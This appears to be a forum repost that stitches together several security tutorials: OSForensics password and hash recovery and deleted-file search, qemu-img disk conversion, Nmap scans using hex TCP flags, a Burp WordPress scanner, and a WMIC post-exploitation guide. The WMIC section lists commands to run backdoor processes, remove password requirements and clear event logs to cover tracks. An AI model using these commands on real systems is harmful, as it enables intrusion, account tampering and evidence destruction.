[Image: 17.png?w=687&ssl=1]
We can check the “Show Deleted File” option by clicking on Tools > Option > Show Deleted File.
[Image: 18.png?w=687&ssl=1]
The deleted files/directories (if any) will also get listed and will be marked with a red cross.
[Image: 19.png?w=687&ssl=1]
This concludes the File System Browser.
Passwords
Passwords feature enable us to retrieve the password-related information of the evidence. These passwords could be passwords stored within the browser, Windows Login Passwords, WE can also create a rainbow table by making the multiple combinations of the passwords and retrieve the passwords from the rainbow table. Under OSF passwords also have an option to decrypt an encrypted file.
To start with open OSF and select passwords
[Image: 20.png?w=687&ssl=1]
The first tab is to Find Passwords & Keys, this will allow recovering the stored password from the browser, outlook, windows auto logon passwords, etc.  We can either do the live acquisition of current machine or Scan Drive and select any drive or evidence.
Click on the Config button, check the passwords you want to recover. Select the decryption settings based on requirements, we can include our dictionary file or can use an automatic dictionary. If credentials are known we can provide windows login credentials and click OK.
[Image: 21.png?w=687&ssl=1]
Click on Acquire passwords button to start the process.
[Image: 22.png?w=687&ssl=1]
All the passwords/product keys will get listed.
[Image: 23.png?w=687&ssl=1]
The below image is the passwords acquisition of the Current Machine for better understanding as the evidence we were working on doesn’t any stored wireless network.
[Image: 24.png?w=687&ssl=1]
Select Windows Login Password , select the Drive/evidence and click Acquire passwords
All the information will get listed. If there is any saved password it will get listed also we can get info about it also we can get NT hash and LM Hash of the password from which we can recover the password.
[Image: 25.png?w=687&ssl=1]
We have an option to generate a rainbow table. This is used to create a list of passwords with different combinations and permutations. We can choose from the different options/combinations from the drop down. More huge and complex the inputs are the longer the time it will take.
[Image: 26.png?w=687&ssl=1]
Browse the file path where we want to save the table and if required modify the parameters. Click on create a rainbow table button to start with the process.
Depending on the complexity the process will start.
[Image: 27.png?w=687&ssl=1]
Password through a rainbow table. If the password is within the rainbow table we have created and we have the NT hash and LM Hash we can recover the passwords  (however this ). TO achieve this we need to add the folder of the Rainbow table under “Select Rainbow Table” and can either enter the raw hash or can browse the file which may contain the hash, if the password is present within the rainbow table, we will get the password.
In the image we are browsing the file “hash.txt”, we have saved in windows login password (shown above)and the rainbow table we have created.
[Image: 28.png?w=687&ssl=1]
Click on recover Password/s button to start the process, if the password present in Hash.txt is found in the rainbow table we will get the result.
[Image: 29.png?w=687&ssl=1]
In the above, we haven’t found the password as it must be not present inside the table. Also, these tables have certain limitations and have a success rate of 95 % (approx). There are other methods as well for the recovery of passwords we will be discussing on other articles.
This concludes Passwords.
For more on OSForensics wait for the next article.

This is a very handy little application. It’s been developed by the QEMU team. The software is very useful when dealing with virtualization, Qemu-img is available for both Windows and Linux. Its function is to give you the ability to change the format of a given virtual disk file to the majority of the popular virtual disk formats that are used across platforms. Let’s say you are using the virtual box in Windows and want to migrate the virtual disk to be used on a mac, in parallels, you can use this simple program to achieve this with minimum effort.
Our purpose of writing about this today is slightly different from Qemu-img’s mainstream usage, we want to focus on how we can use this application to convert a virtual disk image, whole or split into a .raw file that can be used with most of the popular forensic frameworks that are available.
Let’s start up Qemu-img on our Linux machine
At the terminal prompt type “qemu-img –h”
This will show you all the options that can be used with qemu-img
[Image: 1.PNG?w=687&ssl=1]
Right at the end of the information that is presented after the command given above is used, we can see all the formats supported by this application.
Here is a list of all the formats that are compatible with Qemu-img
[Image: 2.PNG?w=687&ssl=1]
Now let’s see how this application comes in handy for use in forensics.
In a situation where a virtual disk is part of the acquisition and further dedicated analysis is required, the virtual disk can be converted into the .raw format.
Let’s begin.
Since our goal is to analyze the virtual disk, we are using the image file from Windows 7 installed on VMWare. The file in question is in .vmdk format.
Just a heads up, when you convert a virtual disk file to a .raw file, the size of the converted file can be quite big, so make sure you have enough space.
Here is our .vmdk file
[Image: 3.PNG?w=687&ssl=1]
For ease of use, we have placed the .vmdk file in a folder named Qmeu on the desktop. The terminal is opened from within the folder.
At the terminal prompt type “qemu-img convert -f vmdk -O raw Windows\ 7.vmdk win7.raw”
A breakdown of the command that we just gave:
qemu-img convert is invoking the convert function of qemu-img.
-f is the format of the input file, which in this case is .vmdk
-O is the format of the output file that we want, a .raw file.
Windows\ 7.vmdk is the name of the input file that we have in our folder.
win7.raw is the name we have given the output file with its file extension.
[Image: 6.PNG?w=687&ssl=1]
Give it a few minutes and check the folder, you will find the converted file.
As you can see, the size of the .raw file is 10.7 GB and the size of the .vmdk file was 6.0 GB, that’s quite a jump in size!
[Image: 5.PNG?w=687&ssl=1]
We can now use Foremost to carve the .raw file to see what’s inside.
At the terminal type “foremost -t jpeg, png -i win7 -o output”
[Image: 6.PNG?w=687&ssl=1]
With this command, we are carving the .raw file for .jpeg and .png files which will be collected in a folder named output. If you have any doubts about foremost you can refer to

[To see content please register here]

article.

As you can see, our .raw file has been successfully carved, the results are visible below
[Image: 7.png?w=687&ssl=1]
We have successfully carved a .raw file made from a virtual disk, now let’s mount the .raw file to view its contents. We will be using a Windows for this operation.
Now we will mount this .raw file using FTK Imager to see its contents. The image mounting option can be found under the File menu. Navigate to the .raw file from within the mounting menu.
[Image: 8.PNG?w=687&ssl=1]
Select Mount, leave the other options as they are and the file will appear on the Mapped Image List.
[Image: 9.PNG?w=687&ssl=1]
Next, we navigate to My Computer and we can see that the .raw has been mounted as a partition.
[Image: 10.PNG?w=687&ssl=1]
The windows file system can be seen within and explored for content.
[Image: 11.PNG?w=687&ssl=1]
Qemu-img is a very simple application with high potential. It can be a very valuable tool in your forensic toolkit due to its large list of compatible formats. It will make sure that the format of the acquired image does not keep you from using your forensic tool of choice to run your investigation or carve out data.
We hope you enjoy using this tool.
Have fun and stay ethical.

This article is about Post Exploitation using the WMIC (Windows Management Instrumentation Command Line). When an Attacker gains a meterpreter session on a Remote PC, then he/she can enumerate a huge amount of information and make effective changes using the WMI Command Line.
To do this, we will first get the meterpreter session on the Remote PC which you can learn from

[To see content please register here]

. After gaining the session, escalate its privilege to Administrator which you can learn from

[To see content please register here]

.

WMIC command line can be accessed through the windows cmd. To access that type “shell” in the meterpreter shell.
Now let’s look at the wmic commands and their working
WMIC
This command shows the global options which are used in the wmic command. WMIC Global Options are used to set properties of the WMIC environment. With the combination of global options and the aliases than we can manage the system through the wmic environment.
wmic /?
1
wmic /?

[Image: 1.png?w=687&ssl=1]
Get System Roles, User Name, and Manufacturer
We can enumerate lots of information about the Victim System including its Name, Domain, Manufacturer, Model Number and Much more through the computer system alias of wmic command.
We are adding the following filters to get a specific result.
Roles: It gives all the roles that the victim system play like Workstation, Server, Browser etc.
Manufacturer: It gives the manufacturer of the system, sometimes there are certain vulnerabilities in a particular model of a particular model. So we can use this information to search for any direct vulnerabilities.
UserName: It gives the username of the system which is proven very helpful as we can differentiate between administrators and normal users
[/format: list]: To sort the output in a list format.
wmic computersystem get Name, domain, Manufacturer, Model, Username, Roles /format:list
1
wmic computersystem get Name, domain, Manufacturer, Model, Username, Roles /format:list

[Image: 2.png?w=687&ssl=1]
Get the SIDs
To enumerate these SIDs we will use group alias of wmic.
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
1
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status

As shown in the below image here we have found the Account Name, Domain, Local Group Member status, SID and their status.
[Image: 3.png?w=687&ssl=1]
Create a process
We can create many processes on the victim’s system using the process alias of wmic command.
This is helpful in running any backdoor or fill up the memory of the victim’s system.
Syntax: wmic process call create “[Process Name]”
wmic process call create "taskmgr.exe"
1
wmic process call create "taskmgr.exe"

As you can see in the below screenshot that this command not only create a process but also gives the “process id” so that we can manipulate that process according to our need.
Note: if the process creates a window like Task Manager, cmd, etc. then this command will open up that window on the victim’s system and create suspicion in the mind of the victim.
[Image: 7.png?w=687&ssl=1]
Change Priority of a Process
We can change the priority of any process running on the victim’s system with the help of process alias of wmic command.
This is an important feature because it can be used to manipulate processes as we can increase the priority of any process of our choice or decrease the priority of any process. Decreasing the priority of any process can result in the crashing of that particular application and increasing may crash the overall system.
wmic process where name="explorer.exe" call setpriority 64
1
wmic process where name="explorer.exe" call setpriority 64

[Image: 8.png?w=687&ssl=1]
Terminate a process
We can terminate a process running on the victim’s system with the help of process alias of wmic command.
wmic process where name="explorer.exe" call terminate
1
wmic process where name="explorer.exe" call terminate

[Image: 9.png?w=687&ssl=1]
Get a list of Executable Files
We can get a list which contains the location of the executable files other than that of windows.
wmic PROCESS WHERE "NOT ExecutablePath LIKE ‘%Windows%’" GET ExecutablePath
1
wmic PROCESS WHERE "NOT ExecutablePath LIKE ‘%Windows%’" GET ExecutablePath

[Image: 10.png?w=687&ssl=1]
Get Folder Properties
To extract the basic information about a folder on the victim’s system we can use fsdir alias of the wmic command line.
It can enumerate the following information about a folder:
Compressed, CompressionMethod, Creation Date, File Size, Readable, Writable, System File or not, Encrypted, Encryption Type and much more.
wmic FSDIR where "drive='c:' and filename='test" get /format:list
1
wmic FSDIR where "drive='c:' and filename='test" get /format:list

[Image: 11.png?w=687&ssl=1]
Get File Properties
To extract the basic information about a file on the victim’s system we can use datafile alias of the wmic command line.
It can enumerate following information about a file:
Compressed, CompressionMethod, Creation Date, File Size, Readable, Writable, System File or not, Encrypted, Encryption Type and much more.
Syntax: wmic datafile where=’[Path of File]’ get /format:list
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
1
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list

[Image: 12.png?w=687&ssl=1]
Locate System Files
Extract paths of all the important system files like temp folder, win directory and much more.
wmic environment get Description, VariableValue
1
wmic environment get Description, VariableValue

From given below image you can read variable value with their given description.
[Image: 13.png?w=687&ssl=1]
Get a list of Installed Applications
We can get a list of applications or software installed on the victim’s system
wmic product get name
1
wmic product get name

[Image: 14.png?w=687&ssl=1]
Get a list of Running Services
We can fetch the list of services which are running and services which start automatically or not.
wmic service where (state="running") get caption, name, startmode, state
1
wmic service where (state="running") get caption, name, startmode, state

From given below image you can observe startmode either as “Auto” or as “Manual” and state “Running” for given services.
[Image: 16.png?w=687&ssl=1]
Get Startup Services
We can enumerate startup services using startup alias for all the services that run during the windows startup.
wmic startup get Caption, Command
1
wmic startup get Caption, Command

[Image: 17.png?w=687&ssl=1]
Get System Driver Details
We can enumerate Driver Details like Name, Path and Service Type using the sysdrive alias.
This command gives the path of the driver file, its status (Running or Stopped), Its Type (Kernel or File System)
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
1
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list

[Image: 19.png?w=687&ssl=1]
Get OS Details
We can enumerate the location of the victim by using the time zone in which the system is set, this can be extracted using the OS alias.
We also get the Last Boot Update Time and The Number of Registered Users and Number of Processors and information about Physical & Virtual Memory, all using os alias.
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate, NumberofProcesses, NumberofUsers, Organization, Registereduser, Status /format:list
1
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate, NumberofProcesses, NumberofUsers, Organization, Registereduser, Status /format:list

[Image: 20.png?w=687&ssl=1]
Get the Motherboard Details
We can use the baseboard alias of the wmic command line to enumerate the motherboard details of the victim’s system. Things we can enumerate are Motherboard Manufacturer, Serial Number, and Version
wmic baseboard get Manufacturer, Product, SerialNumber, Version
1
wmic baseboard get Manufacturer, Product, SerialNumber, Version

[Image: 21.png?w=687&ssl=1]
Get BIOS Serial Number
We can use the bios alias of the wmic command line to enumerate the bios details of the victim’s system.
wmic bios, get serialNumber
1
wmic bios, get serialNumber

From given below image you can check bios serial number that we have enumerated of victim’s system.
[Image: 22.png?w=687&ssl=1]
Get Hard Disk Details
We can enumerate information about the System Hard Disk using the diskdrive alias.
We get to know the Interface Type, Manufacturer, and Model Name, all through this command.
wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list
1
wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list

[Image: 23.png?w=687&ssl=1]
Get Hard Disk Partitions Details
We can get the information about the Hard Disk Partitions using the logicaldisk alias.
We get the name, compression status, File System (NTFS, FAT) and much more all using this command.
wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName
1
wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName

From given below image you can read the description of the disk along with filesystem i.e. NTFS and available free space and many more details as per your requirement.
[Image: 24.png?w=687&ssl=1]
Get Memory Cache Details
We can get the information about the Memory Cache using Memcache alias. We can get the name, block size, purpose and much more all using this command.
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
1
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status

From given below image you can observe here it is showing details of two cache memory.
[Image: 25.png?w=687&ssl=1]
Get Memory Chip Details
We can get the information about the RAM using the memorychip alias.
We get the Serial number of the RAM without removing the RAM or physically being near the system using this command.
wmic MEMORYCHIP get PartNumber, SerialNumber
1
wmic MEMORYCHIP get PartNumber, SerialNumber

[Image: 26.png?w=687&ssl=1]
Detect If victim system is a host OS or installed via VMware
We can enumerate information about the victim’s system that whether it is running a host operating system i.e. running by directly installing on the hard drive or running virtually using VMware or Virtual Box.
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
1
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list

Here from given below image if you will observe the highlighted text when you see it showing VMware in the description.
[Image: 27.png?w=687&ssl=1]
User Account Management
Lock a User Account
We can restrict a local user from using its account by using useraccount alias, here we are going to lock a User Account.
wmic useraccount where name='demo' set disabled=false
1
wmic useraccount where name='demo' set disabled=false

From given below image you can observe that we had successfully locked the user account for user “demo”.
[Image: 28.png?w=687&ssl=1]
Remove Password requirement for logging
We can remove a local user’s requirement of its password for login by using useraccount alias
wmic useraccount where name='demo' set PasswordRequired=false
1
wmic useraccount where name='demo' set PasswordRequired=false

[Image: 29.png?w=687&ssl=1]
Rename a user account
We can rename a local user by using useraccount alias
wmic useraccount where name='demo' rename hacker
1
wmic useraccount where name='demo' rename hacker

[Image: 30.png?w=687&ssl=1]
Restrict user from changing a password
We can restrict a local user from changing its password by using useraccount alias
wmic useraccount where name='hacker' set passwordchangeable=false
1
wmic useraccount where name='hacker' set passwordchangeable=false

[Image: 31.png?w=687&ssl=1]
Get Antivirus Details
We can enumerate the antivirus installed on the victim’s system along with its location and version.
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
1
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe

[Image: 32.png?w=687&ssl=1]
Clear System Logs
Wmic can be used to delete system logs using the nteventlog alias. It is a very simple command where we mention the name of the log and then using an option nteventlog and clear the log file. It can be an effective command while cleaning up after hacking any system.
Syntax: wmic nteventlog where filename='[logfilename]’ cleareventlog
wmic nteventlog where filename='system' call cleareventlog
1
wmic nteventlog where filename='system' call cleareventlog

[Image: 33.png?w=687&ssl=1]


  [Guide] How to Nmap Scans using Hex Value of Flags
Posted by: NINZA - 05-14-2020, 08:11 AM - Forum: Carders Home - No Replies

In this article, we are going to scan the target machine by sending TCP flags through their hexadecimal value and the actual Flag name can be confirmed by analysis of Nmap traffic through Wireshark.
Let’s have a look over Hex value of TCP Flag in given below table which we are going to use in Nmap for port enumeration.
[Image: 0.png?w=687&ssl=1]
NULL Scan
In this scan, we are sending the NONE flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x00 192.168.1.103
1
nmap -p21 --scanflags 0x00 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 1.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-NONE flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-NONE packet for hex value 0x00 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 2.png?w=687&ssl=1]
FIN Scan
TCP-FIN flag always used for finishing the communication with the target network. In this scan, we are sending the FIN flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x01 192.168.1.103
1
nmap -p21 --scanflags 0x01 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 3.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-FIN flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-FIN packet for hex value 0x01 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 4.png?w=687&ssl=1]
SYN Scan
TCP-SYN flag always initiates communication to establish a connection with the target network. In this scan, we are sending the SYN flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x02 192.168.1.103
1
nmap -p21 --scanflags 0x02 192.168.1.103

From given below image you can observe we have successfully found port 21 open.
[Image: 5.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-SYN flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-SYN packet for hex value 0x02 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 6.png?w=687&ssl=1]
Reset Scan
RST flag is used to reset the connection between the sender machine and the target machine. In this scan, we are sending the RST flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x04 192.168.1.103
1
nmap -p21 --scanflags 0x04 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 7.1.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-RST flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-RST packet for hex value 0x04 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 7.2.png?w=687&ssl=1]
PUSH Scan
In this scan, we are sending the PSH flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x08 192.168.1.103
1
nmap -p21 --scanflags 0x08 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 7.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-PSH flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-PSH packet for hex value 0x08 coming from 192.168.1.104 on port 21 as shown in given below image.
PUSH flag is used to push the process priority higher of the packet to the target machine.
[Image: 8.png?w=687&ssl=1]
ACK Scan
Ack flag is used to acknowledge the sender machine whether the packet is received or dropped by the target. So that the sender again sends the lost or dropped packet on the target network to complete the communication process. Here we are sending the ACK flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x10 192.168.1.103
1
nmap -p21 --scanflags 0x10 192.168.1.103

From given below image you can observe we have found port 21 closed.
[Image: 9.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-ACK flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-ACK packet for hex value 0x10 coming from 192.168.1.104 on port 21 as shown in given below image.
Open and closed ports will both return an RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet, but whether they are open or closed is undetermined. Ports that don’t respond, or send certain ICMP error messages back (type 3, code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered. (From Nmap.org)
[Image: 10.png?w=687&ssl=1]
Urgent Scan
URG flag is used to set the high process priority of the packet to the target. So that target machine stops processing the current packet and process the URG Flag packet. In this scan, we are sending the Urg flag of the tcp by using its hexadecimal value on the target machine to enumerate the state of ports is open, closed or filtered.
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x20 192.168.1.103
1
nmap -p21 --scanflags 0x20 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 11.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get a packet for TCP-URG flag, here we have used Wireshark for network packet analysis and we found that it is showing TCP-URG packet for hex value 0x20 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 12.png?w=687&ssl=1]
XMAS Scan
In this scan, we are sending the combination of the hexadecimal value of the different flag on the target machine. As we know in Xmas scan combination of three TCP-flags [FIN, PSH, URG] are used to enumerate state of the port.
By adding the value of the flag, which is equal to the hexadecimal value of the sender’s hexadecimal value as described in given below the table.
[Image: 13.1.png?w=687&ssl=1]
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x29 192.168.1.103
1
nmap -p21 --scanflags 0x29 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 13.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, PSH, URG] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, PSH, URG for hex value 0x29 coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 14.1.png?w=687&ssl=1]
Manual Combination of Flags [FIN, SYN, PSH]
Let have a quick review over decimal to hexadecimal conversion with the help of the following table:
[Image: 14.2.png?w=687&ssl=1]
Now repeat the same methodology by changing the combination of the flag to enumerate the state of any port.  For example, we want to scan any port by sending a combination of three flags [FIN, SYN, and PSH] so let identify hex value for the sum of three flags.
[Image: 15.0.png?w=687&ssl=1]
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x0B 192.168.1.103
1
nmap -p21 --scanflags 0x0B 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 15.1.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, SYN and PSH] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, SYN,PSH for hex value 0x0B coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 15.2.png?w=687&ssl=1]
Manual Combination of Flags [FIN, RST, PSH]
Now repeat the same methodology by changing the combination of the flag to enumerate the state of any port.  For example, we want to scan any port by sending a combination of three flags [FIN, RST, and PSH] so let identify hex value for the sum of three flags.
[Image: 15.3.png?w=687&ssl=1]
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x0D 192.168.1.103
1
nmap -p21 --scanflags 0x0D 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 15.4.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, RST, and PSH] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, RST,PSH for hex value 0x0D coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 15.5.png?w=687&ssl=1]
Manual Combination of Flags [FIN, SYN, RST, PSH]
Now repeat the same methodology by changing the combination of the flag to enumerate the state of any port.  For example, we want to scan any port by sending a combination of four flags [FIN, SYN, RST, and PSH] so let identify hex value for the sum of four flags.
[Image: 15.6.png?w=687&ssl=1]
Now execute given below command for enumerating state of any port, here we want to identify state for port 21.
nmap -p21 --scanflags 0x0F 192.168.1.103
1
nmap -p21 --scanflags 0x0F 192.168.1.103

From given below image you can observe we have found port 21 filtered.
[Image: 15.png?w=687&ssl=1]
When network admin will capture the incoming traffic he will get packet for TCP flags [FIN, SYN, RST, and PSH] here we have used Wireshark for network packet analysis and we found that it is showing TCP-packet of FIN, SYN, RST, PSH for hex value 0x0F coming from 192.168.1.104 on port 21 as shown in given below image.
[Image: 16.png?w=687&ssl=1]

In Part 1 of this article, we have covered Creating case, File Search and Indexing. This article will cover some more features/ functionalities of OSForensics.
For Part 1 if this article clicks

[To see content please register here]

.
Recent Activity
Recent Activity feature allows an investigator to scan the evidence for recent activity, such as accessed websites, USB drives, wireless networks, recent downloads and many more.
To start with open OSForensics and select Recent Activity.
[Image: 1.png?w=687&ssl=1]
We have an option to capture the Recent Activities either through the live acquisition of current machines or by scanning drives/evidence.
To capture the live acquisition of the current machine select the first option and click on scan. If we have opted to investigate the case of another machine at the time of creating the case (shown in part 1 of this article), we may get a warning message as shown below, Click on yes to continue.
[Image: 2.png?w=687&ssl=1]
But we will be acquiring our evidence (.E01 image file).
Scanning will start and may take some time for this operation to complete.
Once the scanning is complete we will get a pop up with the summary of the scanned evidence.
[Image: 3.png?w=687&ssl=1]
Click on the OK button and on the recent activity window we can find all the recent activity details with the heading on the left pane and details of related files on the right.
Below is the list view of the files
[Image: 4.png?w=687&ssl=1]
We can also view the file details by clicking on the File Details tab
[Image: 5.png?w=687&ssl=1]
To further analyze any file, simply right-click on file for further file options.
[Image: 6.png?w=687&ssl=1]
Similarly, we can investigate the recent activity of any particular drive.
We can also change the configurations or apply/remove any filters as per the requirement but these changes are to be done before starting the scan.
To edit the configurations click on “Config” button located at the top right corner on recent activity window.
[Image: 7.png?w=687&ssl=1]
Check/Uncheck the options as required or if required change the date/date range for a particular time-based activity and click OK.
For managing the filters click on the “Filters” button located below the “Config” button
[Image: 8.png?w=687&ssl=1]
We can add a filter as required by selecting a value from the drop-down or fill the details as required.
[Image: 9.png?w=687&ssl=1]
In the below image we have applied a filter and set its parameters as per requirement.
[Image: 10.png?w=687&ssl=1]
Click on Add Filter button and then OK, the filter will get added.
[Image: 11.png?w=687&ssl=1]
This ends the Recent Activity feature.
Deleted File Search
Deleted files recovery is one of the prime requirements for digital forensics. OSF offers a very simple and efficient deleted file recovery/search.
To search the deleted files click on “Deleted files Search” and select the drive we want to search on from the drop-down. We can select the complete Physical drive/Hard Disk (PhysicalDrive0), Acquired Evidence or any Logical drive(C/D/E), for which we want to recover the data.
[Image: 12.png?w=687&ssl=1]
Click on the “Config” button and check/uncheck the options as required. Select the Quality from the drop-down (Please note better the quality more time it will take to process), for better result check the file carving option. We can also limit the file size we want to search for (this will omit the files that are not in the range to refine the search), Click Ok.
[Image: 13.png?w=687&ssl=1]
On preset drop-down select the file type we want to recover/search. Select all files if we need to have multiple file types as output.
[Image: 14.png?w=687&ssl=1]
Once all the settings are done, click on Search. Depending on the volume of data and configurations we opted for it may take some time for the process to complete.
[Image: 15.png?w=687&ssl=1]
We can also see the thumbnail view of the files for faster analysis.
[Image: 16.png?w=687&ssl=1]
To save /recover the file select the files we want to recover and right-click for options and save the files.
[Image: 17.png?w=687&ssl=1]
This concludes the Deleted file search.
Mismatch File Search
This feature enables us to identify the files whose extensions don’t match their data. Through this, we can capture some relevant evidence that could be in form of an image, document or pdf but pretending to be of some other extension. For example, a word file can be mismatched with a jpeg file (such a data could be also called “Dark Data”).
To start with click on Mismatch File Search, select the drive/directory along with the filter from the drop-down or create a filter as required, if we are not sure about the filter settings, we can go with “All (Built In)” filter and click search.
This will show the result in the file list. We can also see the thumbnail view of the files.
[Image: 18.png?w=687&ssl=1]
Memory Viewer
Memory Viewer feature shows active memory of the system on which OSF is working on. It can’t be used to show the memory of acquired image or drive of another computer (we will illustrate this feature on our running machine and not on our evidence file). We can dump the live memory /RAM for further investigation.
To start with open OSF and click on Memory Viewer. We can see the list of all the processes currently running along with their Process ID (PID). Click on any process and we can see its details under process Info. Click on refresh to refresh the process list.
[Image: 19.png?w=687&ssl=1]
Click on the select window the cursor icon will change from pointer to a circle, click anywhere on-screen or on any other running application and we can see the process details of the process we have clicked on. For instance, in the below image we have clicked on an open word file and the process corresponding to that word file will get displayed.
[Image: 20.png?w=687&ssl=1]
Click on dump Physical Memory, this will dump the physical memory/ RAM in a .bin file and can save it anywhere. In below image, we are saving the file with name Memory Dump.bin in a folder named Physical Memory Dump on Desktop
[Image: 21.png?w=687&ssl=1]
As we click on save pop up will appear till the Memory is being dumped.
[Image: 22.png?w=687&ssl=1]
Once completed, we will get a success Message.
[Image: 23.png?w=687&ssl=1]
We can also save a crash dump, just browse to a directory and save the file. The extension of the crash dump file is .dmp. In the below image, we are saving a crash dump file with a name CrashDump.dmp. We will get the following message when the dump is in progress
[Image: 24.png?w=687&ssl=1]
Once the dump is completed we will get a success message.
[Image: 25.png?w=687&ssl=1]
This concludes the Memory Viewer
Prefetch Viewer
The prefetch viewer displays the .exe files that we have last executed on the system. To start with open OS Forensic and click on prefetch viewer.
[Image: 26.png?w=687&ssl=1]
We can browse the drive from the drop down to check the .exe file that has executed on a particular drive. We can click on any particular drive and can see the details of the exe along with mapped files under the mapped file tab.
[Image: 27.png?w=687&ssl=1]
Also, we can view the directories, mapped with the .exe file under Mapped Directory Tab.
[Image: 28.png?w=687&ssl=1]
This concludes the Prefetch Viewer.
For more on OSForensics wait for the next article.

Burp_wp is an extension of burpsuite used to scan and find vulnerabilities in WordPress plugins and themes using a burpsuite proxy. It was created by Kacper Szurek and can be downloaded from

[To see content please register here]

.

Let’s begin
To run this extension we first need to install Jython. Jython is an implementation of python programming that can run on the Java platform. You can download Jython from

[To see content please register here]

.

Now we download Jython to burpsuite. We go to the python Environment and locate the jar file.
[Image: 1.PNG?w=687&ssl=1]
Now we go to the extender, and select extensions tab to add the burp_wp extension.
[Image: 2.PNG?w=687&ssl=1]
We click on Add, a pop up will come. We select python as an extension type and give the location at which the burp_wp file is located. We select “show in UI” for standard output and error to get an error if any occur.
[Image: 3.PNG?w=687&ssl=1]
As soon as the extension gets installed we get the message in the image below that shows it was installed successfully.
[Image: 4.PNG?w=687&ssl=1]
Now we get a new “Burp WP” tab. Burp_WP automatically updates the first time it gets installed. It downloads the list of vulnerable plugins and theme from the database of WPscan.
[Image: 5.PNG?w=687&ssl=1]
Now we intercept the request of the website we want to scan for vulnerabilities.
[Image: 6.PNG?w=687&ssl=1]
As soon as we forward the request we go to Burp WP tab and we can find all the vulnerable plugins and themes on the website. We will get all vulnerable plugins and themes as we go through the site.
[Image: 7.PNG?w=687&ssl=1]
Now we use Metasploit to exploit this vulnerability.
